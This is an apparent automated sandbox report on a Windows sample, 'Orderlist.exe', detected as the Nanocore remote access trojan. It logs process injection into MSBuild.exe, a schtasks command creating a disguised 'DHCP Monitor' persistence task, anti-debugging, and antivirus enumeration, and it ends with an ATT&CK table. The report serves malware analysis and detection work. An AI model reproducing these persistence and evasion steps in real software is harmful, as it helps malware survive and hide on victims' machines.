Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{8a1be7ed-1b25-4346-8844-80b424a6856e}
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1188:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1324:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe	Command line argument: pr1		1_2_00401530
Source: C:\Users\user\Desktop\Orderlist.exe	Command line argument: PR1		1_2_00401530

Source: Orderlist.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Orderlist.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\Orderlist.exe

File read: C:\Users\user\Desktop\Orderlist.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Orderlist.exe 'C:\Users\user\Desktop\Orderlist.exe'
Source: C:\Users\user\Desktop\Orderlist.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\Orderlist.exe'
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Orderlist.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\Orderlist.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: Orderlist.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: Orderlist.exe, 00000001.00000003.230983802.0000000002090000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Orderlist.exe, 00000001.00000003.230983802.0000000002090000.00000004.00000001.sdmp
Source:	Binary string: C:\xampp\htdocs\Cryptor\c84e4bf723534453bcce544eaec30392\Loader\pr1\Release\pr1.pdb source: Orderlist.exe

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_00401FB6 push ecx; ret

1_2_00401FC9

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp'

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Window / User API: foregroundWindowGot 870			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Window / User API: foregroundWindowGot 493			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 4188	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 328	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 1320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_004049F7 FindFirstFileExW,

1_2_004049F7

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_00404401 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00404401

Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_004133B5 mov eax, dword ptr fs:[00000030h]	1_2_004133B5
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_0040349E mov eax, dword ptr fs:[00000030h]	1_2_0040349E
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_0040572D mov eax, dword ptr fs:[00000030h]	1_2_0040572D

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_00406849 GetProcessHeap,

1_2_00406849

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_00401EBD SetUnhandledExceptionFilter,	1_2_00401EBD
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_00404401 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00404401
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_00401888 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00401888
Source: C:\Users\user\Desktop\Orderlist.exe	Code function: 1_2_00401D2B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00401D2B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Orderlist.exe

Section loaded: unknown target: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\Orderlist.exe'			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD5BB.tmp'			Jump to behavior

Source: MSBuild.exe, 00000003.00000003.424610803.00000000066CB000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: MSBuild.exe, 00000003.00000003.395438111.00000000066CB000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: MSBuild.exe, 00000003.00000003.386145601.00000000066CB000.00000004.00000001.sdmp	Binary or memory string: Program ManagerILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=DESKT
Source: MSBuild.exe, 00000003.00000003.411296004.00000000066CA000.00000004.00000001.sdmp	Binary or memory string: Program ManageruA_8
Source: MSBuild.exe, 00000003.00000003.386145601.00000000066CB000.00000004.00000001.sdmp	Binary or memory string: Program Manager3
Source: MSBuild.exe, 00000003.00000003.411296004.00000000066CA000.00000004.00000001.sdmp	Binary or memory string: Program Manager*!

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_00401FCB cpuid

1_2_00401FCB

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Orderlist.exe

Code function: 1_2_00401C13 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00401C13

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: Orderlist.exe, 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp

String found in binary or memory: NanoCore.ClientPluginHost

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Orderlist.exe.3850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.236917800.0000000003850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Orderlist.exe PID: 5836, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Scheduled Task/Job1	Process Injection112	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
